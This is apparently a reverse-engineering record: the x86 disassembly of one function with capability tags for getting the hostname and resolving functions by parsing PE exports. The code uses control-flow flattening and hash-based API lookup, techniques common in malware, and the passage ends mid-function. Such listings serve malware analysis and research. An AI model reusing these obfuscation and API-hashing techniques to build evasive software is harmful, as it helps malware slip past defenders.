Function at 0x43c5dc
Capabilities:
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x218
mov esi, esp
mov dword [esi + 4], 0xbb90c67c
mov eax, dword [esi + 4]
cmp eax, 0x69f4ac
jle 0x43c689
cmp eax, 0x44a8ae68
jg 0x43c722
cmp eax, 0x25f9ede6
jle 0x43c7fa
cmp eax, 0x33dd17fa
jle 0x43c9af
cmp eax, 0x3ceeb1bf
jg 0x43cd81
cmp eax, 0x38777f9e
jg 0x43d3a5
cmp eax, 0x34264d8c
jg 0x43de16
cmp eax, 0x33dd17fb
je 0x43f059
cmp eax, 0x33f31bd9
je 0x43f065
cmp eax, 0x34044c91
jne 0x43c5f4
mov eax, dword [esi + 8]
shr eax, 0x1d
mov dword [esi + 8], eax
push eax
push 0x3d11
push 0x197a
call fcn.00429e5e
add esp, 0xc
mov dword [esi + 4], 0xdf1a8d80
jmp 0x43c5f4
cmp eax, 0xb7228b90
jle 0x43c78c
cmp eax, 0xdbb284e7
jle 0x43c865
cmp eax, 0xeba808fa
jle 0x43ca1f
cmp eax, 0xfb6f4166
jg 0x43cdca
cmp eax, 0xf1da4ac7
jg 0x43d3dd
cmp eax, 0xeff2e947
jg 0x43de6a
cmp eax, 0xeba808fb
je 0x43f0ac
cmp eax, 0xebcb402f
je 0x43f0e6
cmp eax, 0xedddc983
jne 0x43c5f4
push 4
push 0x472064
push 0xa
push dword [esi + 0xf4]
call fcn.00441b30
add esp, 0x10
push 0x16
push dword [esi + 0xf4]
push dword [esi + 0x68]
call fcn.0044ac30
add esp, 0xc
mov dword [esi + 4], 0xad664ca7
jmp 0x43c5f4
cmp eax, 0x5ff14785
jle 0x43c8e1
cmp eax, 0x6dcc8f88
jle 0x43ca8b
cmp eax, 0x73991738
jg 0x43ce2c
cmp eax, 0x7153406f
jg 0x43d445
cmp eax, 0x6fa6ffb6
jg 0x43dec1
cmp eax, 0x6dcc8f89
je 0x43f10c
cmp eax, 0x6f12b219
je 0x43f126
cmp eax, 0x6f1d3270
jne 0x43c5f4
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x44]
mov dword [esi + 4], 0xa733cc37
jmp 0x43c5f4
cmp eax, 0x9ce38986
jg 0x43c947
cmp eax, 0x8ec83fcc
jg 0x43cb23
cmp eax, 0x89708ae4
jle 0x43cea5
cmp eax, 0x8b854bf0
jg 0x43d4a2
cmp eax, 0x8a30bdf0
jg 0x43df15
cmp eax, 0x89708ae5
je 0x43f144
cmp eax, 0x89ecbea8
je 0x43f184
cmp eax, 0x8a09f1a1
jne 0x43c5f4
imul eax, dword [esi + 0xc], 0x5a
shr eax, 0xd
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x9187a371
jmp 0x43c5f4
cmp eax, 0x11382792
jg 0x43cba7
cmp eax, 0xaa1ae02
jle 0x43cf0e
cmp eax, 0xf34aba4
jg 0x43d510
cmp eax, 0xeff5111
jg 0x43df65
cmp eax, 0xaa1ae03
je 0x43f1cd
cmp eax, 0xc6c0286
je 0x43f206
cmp eax, 0xe66bf2d
jne 0x43c5f4
mov eax, dword [esi + 0xc]
shl eax, 6
lea eax, [eax + eax*2]
shr eax, 5
add eax, 0x2b
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xb853afcd
jmp 0x43c5f4
cmp eax, 0xc8356202
jg 0x43cc1c
cmp eax, 0xbfe38c9f
jle 0x43cf77
cmp eax, 0xc45cd161
jg 0x43d55d
cmp eax, 0xc3804fe3
jg 0x43dfd2
cmp eax, 0xbfe38ca0
je 0x43f21b
cmp eax, 0xc1353870
je 0x43f240
cmp eax, 0xc1f8ed49
jne 0x43c5f4
mov eax, dword [esi + 0xc]
shr eax, 0xd
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0xb89
dec edx
shl eax, 0x14
mov dword [esi + 0xc], eax
mov eax, 0x27fb91c6
cmp edx, ecx
je 0x441ad4
mov eax, 0x87e8b295
jmp 0x441ad4
cmp eax, 0x51d32d18
jg 0x43cc8d
cmp eax, 0x4d332d51
jle 0x43cfc6
cmp eax, 0x508f3e2b
jg 0x43d5b7
cmp eax, 0x4e2f86ee
jg 0x43e024
cmp eax, 0x4d332d52
je 0x43f282
cmp eax, 0x4d69ac90
je 0x43f28e
cmp eax, 0x4db70e68
jne 0x43c5f4
imul eax, dword [esi + 0xc], 0x6708000
shr eax, 8
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x72ba1575
jmp 0x43c5f4
cmp eax, 0xabf48848
jg 0x43cd17
cmp eax, 0xa3175afc
jle 0x43d026
cmp eax, 0xa7992a68
jg 0x43d600
cmp eax, 0xa54e5c90
jg 0x43e060
cmp eax, 0xa3175afd
je 0x43f2bb
cmp eax, 0xa32a6cc8
je 0x43f2d7
cmp eax, 0xa42e360d
jne 0x43c5f4
mov ecx, dword [esi + 8]
shl ecx, 9
mov eax, 0x2914cedd
add ecx, 0x5400
mov dword [esi + 8], ecx
jne 0x43ca15
jmp 0x441ad4
cmp eax, 0x2cbd2fea
jle 0x43d07c
cmp eax, 0x2e15bf3e
jg 0x43d64f
cmp eax, 0x2d2ce307
jg 0x43e099
cmp eax, 0x2cbd2feb
je 0x43f32a
cmp eax, 0x2ce85150
je 0x441ae8
cmp eax, 0x2d075e91
jne 0x43c5f4
mov ecx, dword [esi + 8]
mov eax, 0xffffff2e
add ecx, eax
shr ecx, 7
add ecx, 0xffffffc5
mov dword [esi + 8], ecx
mov eax, 0x968581c2
cmp ecx, 0x80
je 0x441ad4
mov eax, 0xb76d1135
jmp 0x441ad4
cmp eax, 0xe5cca161
jle 0x43d0ff
cmp eax, 0xe95f0ab2
jg 0x43d6ce
cmp eax, 0xe6ea9728
jg 0x43e0d8
cmp eax, 0xe5cca162
je 0x43f362
cmp eax, 0xe5dfa1d0
je 0x43f3c0
cmp eax, 0xe69bf09c
jne 0x43c5f4
mov eax, dword [esi + 8]
mov ecx, 0xa6
add eax, ecx
shr eax, 5
mov ecx, eax
shl ecx, 5
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0xd9f4c74f
cmp ecx, 0x23
jne 0x43ee42
jmp 0x441ad4
cmp eax, 0x65ed1882
jle 0x43d15e
cmp eax, 0x6894e65d
jg 0x43d711
cmp eax, 0x66d8f921
jg 0x43e12f
cmp eax, 0x65ed1883
je 0x43f3d8
cmp eax, 0x65f63dc8
je 0x43f41c
cmp eax, 0x665dac5c
jne 0x43c5f4
imul edi, dword [esi + 8], 0x2f8000
add edi, 0x450000
mov dword [esi + 8], edi
push 0x710
push edi
push 0x1dc6
call fcn.00429e5e
add esp, 0xc
push 0x125a
push 0x32af
push 0x3991
push edi
call fcn.00441c50
add esp, 0x10
mov eax, 0x5b5a33b4
cmp edi, 0x90
jl 0x4419da
mov eax, 0x10e51950
jmp 0x4419da
cmp eax, 0x94211479
jle 0x43d1ca
cmp eax, 0x9696d001
jg 0x43d749
cmp eax, 0x948b4e35
jg 0x43e184
cmp eax, 0x9421147a
je 0x43f46d
cmp eax, 0x9449afe7
je 0x43f4a6
cmp eax, 0x947d9de4
jne 0x43c5f4
mov eax, dword [esi + 8]
add eax, eax
and eax, 0x3ffffffe
imul edi, eax, 0xdc
add edi, 0xfffff9fc
mov dword [esi + 8], edi
push edi
push 0x22c2
push 0x502a
call fcn.00429e5e
add esp, 0xc
mov eax, 0x6508c43c
cmp edi, 0x8a
jge 0x4405f5
jmp 0x4419da
cmp eax, 0x18fafddc
jle 0x43d21c
cmp eax, 0x1e268162
jg 0x43d781
cmp eax, 0x1c80085b
jg 0x43e1ba
cmp eax, 0x18fafddd
je 0x43f4f3
cmp eax, 0x1b1eb891
je 0x43f52e
cmp eax, 0x1b8136c5
jne 0x43c5f4
mov eax, dword [esi + 0xc]
add eax, 0xfffffff0
shr eax, 8
imul ecx, eax, 0x5b
imul eax, eax
imul edx, eax, 0x394b
dec edx
add ecx, 0x42
mov dword [esi + 0xc], ecx
mov ecx, 0x34264d8d
cmp edx, eax
je 0x4415ef
mov ecx, 0x74984231
jmp 0x4415ef
cmp eax, 0xd19c6e23
jle 0x43d27d
cmp eax, 0xd6aa9c86
jg 0x43d7b9
cmp eax, 0xd37c365f
jg 0x43e206
cmp eax, 0xd19c6e24
je 0x43f553
cmp eax, 0xd2b4bc12
je 0x43f593
cmp eax, 0xd3246476
jne 0x43c5f4
mov eax, dword [esi + 0xc]
shr eax, 9
mov ecx, eax
imul ecx, eax
shl eax, 0x13
imul edx, ecx, 0x38df
dec edx
mov dword [esi + 0xc], eax
mov eax, 0xbb90c67c
cmp ecx, edx
je 0x441ad4
mov eax, 0xb97d3f16
jmp 0x441ad4
cmp eax, 0x5b16845b
jle 0x43d2c3
cmp eax, 0x5c84e84f
jg 0x43d803
cmp eax, 0x5b5bca44
jg 0x43e25d
cmp eax, 0x5b16845c
je 0x43f59f
cmp eax, 0x5b1f0cf1
je 0x43f5ab
cmp eax, 0x5b5a33b4
jne 0x43c5f4
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x1bc], eax
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd0]
mov dword [esi + 0x1c0], eax
mov dword [esi + 4], 0xfebd88ce
jmp 0x43c5f4
cmp eax, 0xafc4ee91
jle 0x43d328
cmp eax, 0xb25bd188
jg 0x43d86d
cmp eax, 0xb0ae65cc
jg 0x43e298
cmp eax, 0xafc4ee92
je 0x43f5f4
cmp eax, 0xb007f694
je 0x43f62a
cmp eax, 0xb03f9c2e
jne 0x43c5f4
imul ecx, dword [esi + 8], 0x6e0
add ecx, 0x46e60
mov dword [esi + 8], ecx
mov eax, 0x62bfa6e7
cmp ecx, 0x5b
jb 0x441ad4
mov eax, 0x6795d964
jmp 0x441ad4
cmp eax, 0x41d92438
jg 0x43d8d5
cmp eax, 0x3f91de97
jg 0x43e2d3
cmp eax, 0x3ceeb1c0
je 0x43f648
cmp eax, 0x3e11c0be
je 0x43f66c
cmp eax, 0x3f12fa67
jne 0x43c5f4
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
mov dword [esi + 4], 0xd37c3660
jmp 0x43c5f4
cmp eax, 0xfdec072c
jg 0x43d918
cmp eax, 0xfc1b5cbd
jg 0x43e318
cmp eax, 0xfb6f4167
je 0x43f6a4
cmp eax, 0xfb727085
je 0x43f6d1
cmp eax, 0xfbe5a0ab
jne 0x43c5f4
imul ecx, dword [esi + 8], 0x5228000
add ecx, 0xffffa1d0
mov dword [esi + 8], ecx
mov eax, 0xd19c6e24
cmp ecx, 0xe2
jge 0x4419da
mov eax, 0xe2d23749
jmp 0x4419da
cmp eax, 0x7b8d484d
jle 0x43d97d
cmp eax, 0x7e308d02
jg 0x43e34f
cmp eax, 0x7b8d484e
je 0x43f707
cmp eax, 0x7d7a7949
je 0x43f746
cmp eax, 0x7dab546c
jne 0x43c5f4
mov eax, dword [esi + 8]
lea ecx, [eax + eax*8]
lea ecx, [ecx + ecx*2]
lea edi, [eax + ecx]
add edi, 0x55
shr edi, 1
mov dword [esi + 8], edi
push edi
push 0x2f8b
push 0x5b9c
call fcn.00429e5e
add esp, 0xc
mov eax, 0x76378887
cmp edi, 0xd2
je 0x4419da
mov eax, 0xfe595c0
jmp 0x4419da
cmp eax, 0x846455ca
jle 0x43d9e7
cmp eax, 0x87e8b294
jg 0x43e388
cmp eax, 0x846455cb
je 0x43f78d
cmp eax, 0x85feac09
je 0x43f7c3
cmp eax, 0x866b7bf9
jne 0x43c5f4
mov eax, dword [esi + 0xc]
lea ecx, [eax - 0x9a]
imul ecx, ecx
add eax, 0xfffffe8f
imul edx, ecx, 0x3b65
dec edx
mov dword [esi + 0xc], eax
mov eax, 0xeb136a04
cmp ecx, edx
je 0x441ad4
mov eax, 0x6b2ca038
jmp 0x441ad4
cmp eax, 0x48ef75f
jle 0x43da2b
cmp eax, 0x8545687
jg 0x43e3c9
cmp eax, 0x48ef760
je 0x43f801
cmp eax, 0x737d486
je 0x43f83a
cmp eax, 0x8262104
jne 0x43c5f4
mov eax, dword [esi + 8]
shl eax, 0xd
add eax, 0xffee2c00
mov dword [esi + 8], eax
push 0x58c6
push 0x4e4a
push eax
push 0x189b
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0x4859d937
jmp 0x43c5f4
cmp eax, 0xb97d3f15
jle 0x43da98
cmp eax, 0xbc179827
jg 0x43e420
cmp eax, 0xb97d3f16
je 0x43f873
cmp eax, 0xbab04675
je 0x43f8c1
cmp eax, 0xbb90c67c
jne 0x43c5f4
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x28], eax
mov dword [esi + 4], 0x48c37501
jmp 0x43c5f4
cmp eax, 0x48c37500
jle 0x43daea
cmp eax, 0x4c23bd10
jg 0x43e464
cmp eax, 0x48c37501
je 0x43f8df
cmp eax, 0x4a68bd49
je 0x43f8fd
cmp eax, 0x4b420ae1
jne 0x43c5f4
push dword [esi + 0xb0]
push 0x2f9959e0
call fcn.004455e0
add esp, 8
push 0x55
push dword [esi + 0x10c]
call eax
mov dword [esi + 4], 0x99a5bf2a
jmp 0x43c5f4
cmp eax, 0x9f118ce6
jle 0x43db37
cmp eax, 0xa2476e8e
jg 0x43e4b7
cmp eax, 0x9f118ce7
je 0x43f948
cmp eax, 0xa0844262
je 0x43f96a
cmp eax, 0xa236e535
jne 0x43c5f4
mov ecx, dword [esi + 8]
shl ecx, 0x17
mov eax, 0xb76d1135
and ecx, 0x7800000
mov dword [esi + 8], ecx
jne 0x43f01c
jmp 0x441ad4
cmp eax, 0x2914cedc
jle 0x43db96
cmp eax, 0x2b4829d9
jg 0x43e508
cmp eax, 0x2914cedd
je 0x43f99a
cmp eax, 0x2931a872
je 0x43f9b4
cmp eax, 0x296a30b4
jne 0x43c5f4
mov edi, dword [esi + 8]
add edi, 0xffffffbc
mov dword [esi + 8], edi
push 0x328f
push edi
push 0x3ba9
call fcn.00429e5e
add esp, 0xc
push 0x609f
push 0x5fd4
push 0xf76
push edi
call fcn.00441c50
add esp, 0x10
mov eax, 0x968581c2
cmp edi, 0x20
jae 0x441ad4
mov eax, 0x73342376
jmp 0x441ad4
cmp eax, 0xe17edf12
jle 0x43dc0b
cmp eax, 0xe34bf197
jg 0x43e56d
cmp eax, 0xe17edf13
je 0x43f9d8
cmp eax, 0xe291ce19
je 0x43fa0d
cmp eax, 0xe2d23749
jne 0x43c5f4
imul edi, dword [esi + 8], 0x3bc0
mov dword [esi + 8], edi
push edi
call fcn.0043c5dc
add esp, 4
push 0x2d5f
push 0xb97
push edi
push 0x7a7
jmp 0x440dec
cmp eax, 0x62bfa6e6
jle 0x43dc43
cmp eax, 0x63338661
jg 0x43e5ab
cmp eax, 0x62bfa6e7
je 0x43fa46
cmp eax, 0x62ffe5d7
je 0x43fa82
cmp eax, 0x6325024d
jne 0x43c5f4
mov ecx, dword [esi + 0xc]
mov eax, ecx
shr eax, 5
shr ecx, 8
imul eax, eax
imul edx, eax, 0x1247
imul ecx, ecx, 0xf9
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xc1353870
cmp eax, edx
je 0x4415ef
mov ecx, 0x50f6e66b
jmp 0x4415ef
cmp eax, 0x91e0d36f
jle 0x43dc89
cmp eax, 0x9394c1b2
jg 0x43e608
cmp eax, 0x91e0d370
je 0x43faaa
cmp eax, 0x926682c1
je 0x43fad5
cmp eax, 0x937bbf6b
jne 0x43c5f4
imul eax, dword [esi + 0xc], 0x1e0000
add eax, 0xffff22c0
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x5ce1c3eb
jmp 0x43c5f4
cmp eax, 0x1335be37
jle 0x43dcf2
cmp eax, 0x1679ca1f
jg 0x43e678
cmp eax, 0x1335be38
je 0x43fb17
cmp eax, 0x13517d95
je 0x43fb23
cmp eax, 0x15c1292f
jne 0x43c5f4
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc4]
mov dword [esi + 0x1b4], eax
mov dword [esi + 4], 0x61b129bd
jmp 0x43c5f4
cmp eax, 0xcc903aa9
jle 0x43dd33
cmp eax, 0xce82bb8d
jg 0x43e6b6
cmp eax, 0xcc903aaa
je 0x43fb55
cmp eax, 0xcca0ae10
je 0x43fb61
cmp eax, 0xccf78174
jne 0x43c5f4
mov eax, dword [esi + 0x44]
mov dword [esi + 4], 0xb266ff11
jmp 0x43c5f4
cmp eax, 0x573d5359
jle 0x43dd79
cmp eax, 0x58d1342d
jg 0x43e6fa
cmp eax, 0x573d535a
je 0x43fbaf
cmp eax, 0x57d1dc79
je 0x43fbd0
cmp eax, 0x582958df
jne 0x43c5f4
mov ecx, dword [esi + 8]
mov eax, 0xffffff3a
add ecx, eax
shr ecx, 4
and ecx, 0xffffffe0
mov dword [esi + 8], ecx
mov eax, 0x8456efa9
cmp ecx, 0xc6
jb 0x4419da
mov eax, 0x65ed1883
jmp 0x4419da
cmp eax, 0xadb398ac
jle 0x43ddb1
cmp eax, 0xaf866be9
jg 0x43e733
cmp eax, 0xadb398ad
je 0x43fbe8
cmp eax, 0xadca8570
je 0x43fbf4
cmp eax, 0xaeb5f18c
jne 0x43c5f4
mov edi, dword [esi + 8]
mov eax, 0x1b7
add edi, eax
mov dword [esi + 8], edi
push edi
call fcn.0043c5dc
add esp, 4
push 0x20f6
push 0x9a7
push 0x1fb
push edi
call fcn.00441c50
add esp, 0x10
mov eax, 0x9e3e6a69
cmp edi, 0x3e
je 0x4419da
mov eax, 0x87e8b295
jmp 0x4419da
cmp eax, 0x3b65110f
jg 0x43e785
cmp eax, 0x38777f9f
je 0x43fc21
cmp eax, 0x38c87238
je 0x43fc5a
cmp eax, 0x38e745d6
jne 0x43c5f4
mov dword [esi + 4], 0x66d8f922
jmp 0x43c5f4
cmp eax, 0xf7d22259
jg 0x43e7c3
cmp eax, 0xf1da4ac8
je 0x43fc92
cmp eax, 0xf6f31fa8
je 0x43fcab
cmp eax, 0xf6fcd602
jne 0x43c5f4
mov edi, dword [esi + 8]
add edi, 0xffffffbb
mov eax, edi
shr eax, 3
mov dword [esi + 8], eax
push 0x62d6
push 0x255d
push eax
call fcn.00429e5e
add esp, 0xc
mov eax, 0x93bd5b33
cmp edi, 0x5d8
jae 0x4419da
mov eax, 0xde9aa5c8
jmp 0x4419da
cmp eax, 0x72ba1574
jg 0x43e83e
cmp eax, 0x71534070
je 0x43fce4
cmp eax, 0x716ba5cb
je 0x43fcff
cmp eax, 0x72a94833
jne 0x43c5f4
imul eax, dword [esi + 8], 0x1a000
or eax, 0x12
mov dword [esi + 8], eax
push eax
push 0x3948
push 0x188e
push 0x45d1
call fcn.00441b30
add esp, 0x10
mov dword [esi + 4], 0xb20ffb79
jmp 0x43c5f4
cmp eax, 0x8cbc9032
jg 0x43e887
cmp eax, 0x8b854bf1
je 0x43fd25
cmp eax, 0x8c283cc1
je 0x43fd40
cmp eax, 0x8c69e346
jne 0x43c5f4
mov edi, dword [esi + 8]
shr edi, 5
and edi, 0x7fff
mov dword [esi + 8], edi
push 0xd58
push edi
push 0x51de
push 0x5015
call fcn.00441b30
add esp, 0x10
mov eax, 0xc42db577
cmp edi, 0xf2
jae 0x4419da
mov eax, 0xfff311e1
jmp 0x4419da
cmp eax, 0xfe595bf
jg 0x43e8cd
cmp eax, 0xf34aba5
je 0x43fd7a
cmp eax, 0xf3e7f6a
je 0x43fd94
cmp eax, 0xf9579f9
jne 0x43c5f4
push 1
push 0x8000
call fcn.0045aa23
add esp, 8
mov dword [esi + 0x104], eax
mov dword [esi + 4], 0x937bbf6b
jmp 0x43c5f4
cmp eax, 0xc5a14783
jg 0x43e916
cmp eax, 0xc45cd162
je 0x43fdca
cmp eax, 0xc54b6276
je 0x43fdfc
cmp eax, 0xc58dc5ce
jne 0x43c5f4
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 4
add eax, 0xaf
shr eax, 8
mov dword [esi + 8], eax
mov eax, 0xe17edf13
cmp ecx, 0xf4510
jb 0x4419da
mov eax, 0x3ceeb1c0
jmp 0x4419da
cmp eax, 0x50f6e66a
jg 0x43e943
cmp eax, 0x508f3e2c
je 0x43fe2b
cmp eax, 0x50c3e32e
je 0x43fe71
cmp eax, 0x50e13ecb
jne 0x43c5f4
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov dword [esi + 0x174], eax
mov dword [esi + 4], 0x5ed7de2e
jmp 0x43c5f4
cmp eax, 0xa9431631
jg 0x43e970
cmp eax, 0xa7992a69
je 0x43fe9b
cmp eax, 0xa7b17fcd
je 0x43fed5
cmp eax, 0xa8a3256c
jne 0x43c5f4
push 8
push 0x472008
push 0xc
push dword [esi + 0xb0]
call fcn.00441b30
add esp, 0x10
mov dword [esi + 4], 0xaf866bea
jmp 0x43c5f4
cmp eax, 0x30648f0a
jg 0x43e9ed
cmp eax, 0x2e15bf3f
je 0x43ff11
cmp eax, 0x2faba793
je 0x43ff4c
cmp eax, 0x2fb8494e
jne 0x43c5f4
mov eax, dword [esi + 8]
shr eax, 6
imul edi, eax, 0xd94a
add edi, 0xffffff83
mov ebx, edi
shr ebx, 9
mov dword [esi + 8], ebx
push ebx
call fcn.0043c5dc
add esp, 4
push ebx
push 0x51b1
push 0x23b3
push 0x1806
call fcn.00441b30
add esp, 0x10
mov eax, 0xeb8fa61f
cmp edi, 0x3800
jb 0x441ad4
mov eax, 0x3e11c0be
jmp 0x441ad4
cmp eax, 0xea922319
jg 0x43ea30
cmp eax, 0xe95f0ab3
je 0x43ff64
cmp eax, 0xe96d4746
je 0x43ffb6
cmp eax, 0xe9aedc9f
jne 0x43c5f4
imul eax, dword [esi + 0xc], 0x3b4000
dec eax
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x4cfdc644
jmp 0x43c5f4
cmp eax, 0x6b2ca037
jg 0x43ea72
cmp eax, 0x6894e65e
je 0x43ffe0
cmp eax, 0x6974e1de
je 0x440000
cmp eax, 0x69b6f6d0
jne 0x43c5f4
mov dword [esi + 4], 0xe7a5b604
jmp 0x43c5f4
cmp eax, 0x99a5bf29
jg 0x43ea9f
cmp eax, 0x9696d002
je 0x44003d
cmp eax, 0x97b75099
je 0x440049
cmp eax, 0x9966aa01
jne 0x43c5f4
mov dword [esi + 4], 0x50c3e32e
jmp 0x43c5f4
cmp eax, 0x23ed04b3
jg 0x43eae4
cmp eax, 0x1e268163
je 0x44007b
cmp eax, 0x1fb4c7e1
je 0x440091
cmp eax, 0x211ca85d
jne 0x43c5f4
mov dword [esi + 4], 0xc42db577
jmp 0x43c5f4
cmp eax, 0xda81f154
jg 0x43eb1f
cmp eax, 0xd6aa9c87
je 0x4400c3
cmp eax, 0xd7f59a15
je 0x4400ef
cmp eax, 0xd9f4c74f
jne 0x43c5f4
push 1
push 0x20
call fcn.0045aa23
add esp, 8
mov dword [esi + 0xfc], eax
mov dword [esi + 4], 0x38e745d6
jmp 0x43c5f4
cmp eax, 0x5ed7de2d
jg 0x43eb5a
cmp eax, 0x5c84e850
je 0x44010c
cmp eax, 0x5ce1c3eb
je 0x440118
cmp eax, 0x5e3e7f9b
jne 0x43c5f4
mov eax, dword [esi + 0xc]
shr eax, 8
imul eax, eax, 0x85
add eax, 0x2f
mov ecx, eax
shl ecx, 8
sub ecx, eax
sub ecx, eax
mov edx, eax
imul edx, eax
imul edi, edx, 0x7389
dec edi
mov dword [esi + 0xc], ecx
mov eax, 0x9187a371
cmp edx, edi
je 0x441ad4
mov eax, 0x3f91de98
jmp 0x441ad4
cmp eax, 0xb5ce3145
jg 0x43ebb7
cmp eax, 0xb25bd189
je 0x44012e
cmp eax, 0xb266ff11
je 0x44014d
cmp eax, 0xb2e4f7c0
jne 0x43c5f4
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 0x1c1]
imul eax, eax
imul edx, eax, 0x91
add ecx, 0xf8
dec edx
shr ecx, 0xf
imul ecx, ecx, 0x8f
mov dword [esi + 0xc], ecx
mov ecx, 0xebcb402f
cmp edx, eax
je 0x4415ef
mov ecx, 0xadb398ad
jmp 0x4415ef
cmp eax, 0x43ac84eb
jg 0x43ebfc
cmp eax, 0x41d92439
je 0x440159
cmp eax, 0x42bd2fc1
je 0x440173
cmp eax, 0x43746018
jne 0x43c5f4
mov eax, dword [esi + 0x164]
mov word [eax], 0xa
mov dword [esi + 4], 0x8371e051
jmp 0x43c5f4
cmp eax, 0xfee511ae
jg 0x43ec52
cmp eax, 0xfdec072d
je 0x440188
cmp eax, 0xfe7153dc
je 0x4401b3
cmp eax, 0xfebd88ce
jne 0x43c5f4
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0x10b]
add ecx, 0xffffff8f
imul eax, eax
imul edx, eax, 0x5a59
dec edx
shr ecx, 3
add ecx, 0xffffff13
mov dword [esi + 0xc], ecx
mov ecx, 0x87e8b295
cmp eax, edx
je 0x4415ef
mov ecx, 0x33dd17fb
jmp 0x4415ef
cmp eax, 0x76378886
jle 0x43ecaf
cmp eax, 0x76378887
je 0x4401d5
cmp eax, 0x78f3693f
je 0x440201
cmp eax, 0x7ab738d1
jne 0x43c5f4
imul eax, dword [esi + 8], 0x438
shr eax, 0x13
and eax, 0xfffffffc
lea edi, [eax + eax*4]
mov dword [esi + 8], edi
push 0x436b
push 0xa87
push edi
call fcn.00429e5e
add esp, 0xc
mov eax, 0x7d7a7949
cmp edi, 0x62
jae 0x441ad4
mov eax, 0x887d932f
jmp 0x441ad4
cmp eax, 0x825aab17
jle 0x43ecdb
cmp eax, 0x825aab18
je 0x44026e
cmp eax, 0x8371e051
je 0x4402b6
cmp eax, 0x8456efa9
jne 0x43c5f4
mov eax, dword [esi + 0x78]
add eax, 0xb
mov dword [esi + 0x154], eax
mov dword [esi + 4], 0xf11269bb
jmp 0x43c5f4
cmp eax, 0x21b7f16
jle 0x43ed19
cmp eax, 0x21b7f17
je 0x4402d1
cmp eax, 0x3ce8828
je 0x4402e8
cmp eax, 0x4060ad2
jne 0x43c5f4
imul edi, dword [esi + 8], 0xe91f400
mov dword [esi + 8], edi
push 0x257
push edi
push 0x51ab
call fcn.00429e5e
add esp, 0xc
push edi
call fcn.0043c5dc
add esp, 4
mov eax, 0xb853afcd
cmp edi, 0x8d
jge 0x4419da
mov eax, 0x2887ee83
jmp 0x4419da
cmp eax, 0xb77d2fbb
jle 0x43ed86
cmp eax, 0xb77d2fbc
je 0x44032c
cmp eax, 0xb853afcd
je 0x440342
cmp eax, 0xb868d1be
jne 0x43c5f4
mov eax, 8
push eax
push 0x47e10a
push eax
push dword [esi + 0xa8]
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0xf1b064c1
jmp 0x43c5f4
cmp eax, 0x46d6d1ca
jle 0x43edc2
cmp eax, 0x46d6d1cb
je 0x440386
cmp eax, 0x4836b842
je 0x4403a3
cmp eax, 0x4859d937
jne 0x43c5f4
mov eax, dword [esi + 0x168]
lea ecx, [esi + 0x12c]
push ecx
push dword [esi + 0x104]
call eax
mov dword [esi + 4], 0x1335be38
jmp 0x43c5f4
cmp eax, 0x9e3e6a68
jle 0x43edfc
cmp eax, 0x9e3e6a69
je 0x4403be
cmp eax, 0x9e4e3fe8
je 0x4403ee
cmp eax, 0x9ec4daa9
jne 0x43c5f4
imul eax, dword [esi + 0xc], 0x396f
add eax, 0xffffd8eb
imul ecx, eax, 0x52
imul eax, eax
imul edx, eax, 0xcdb
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x3b651110
cmp edx, eax
je 0x4415ef
mov ecx, 0x2b4829da
jmp 0x4415ef
cmp eax, 0x27da3244
jle 0x43ee4c
cmp eax, 0x27da3245
je 0x44042e
cmp eax, 0x27fb91c6
je 0x440461
cmp eax, 0x2887ee83
jne 0x43c5f4
mov eax, dword [esi + 8]
shr eax, 0xe
imul eax, eax, 0xe5b
shr eax, 2
imul edi, eax, 0xf3
shr edi, 6
mov dword [esi + 8], edi
push edi
push 0x3696
push 0x5c8
call fcn.00429e5e
add esp, 0xc
mov eax, 0xb868d1be
cmp edi, 0xf4
je 0x4419da
mov eax, 0xc693a5f4
jmp 0x4419da
cmp eax, 0xdf1a8d7f
jle 0x43ee7d
cmp eax, 0xdf1a8d80
je 0x4404b6
cmp eax, 0xe0196d78
je 0x4404f0
cmp eax, 0xe0f47d0b
jne 0x43c5f4
mov dword [esi + 4], 0xeb8fa61f
jmp 0x43c5f4
cmp eax, 0x6085343b
jle 0x43eed3
cmp eax, 0x6085343c
je 0x440515
cmp eax, 0x60f7684c
je 0x440524
cmp eax, 0x61b129bd
jne 0x43c5f4
mov eax, dword [esi + 0xc]
shl eax, 0x1a
or eax, 0x398000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xfee511af
jmp 0x43c5f4
cmp eax, 0x90f584d4
jle 0x43ef12
cmp eax, 0x90f584d5
je 0x440550
cmp eax, 0x91509484
je 0x440594
cmp eax, 0x9187a371
jne 0x43c5f4
mov eax, dword [esi + 0x134]
mov word [eax], 0
push 0x14
push 0x471f30
push dword [esi + 0x6c]
call fcn.0044ac30
add esp, 0xc
push 7
push 0x471f44
push 0xa
push dword [esi + 0x6c]
call fcn.00441b30
add esp, 0x10
mov dword [esi + 4], 0xb76d1135
jmp 0x43c5f4
cmp eax, 0x124e43cd
jle 0x43ef42
cmp eax, 0x124e43ce
je 0x4405b2
cmp eax, 0x12b4627a
je 0x4405ff
cmp eax, 0x1300cda0
jne 0x43c5f4
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x3c], eax
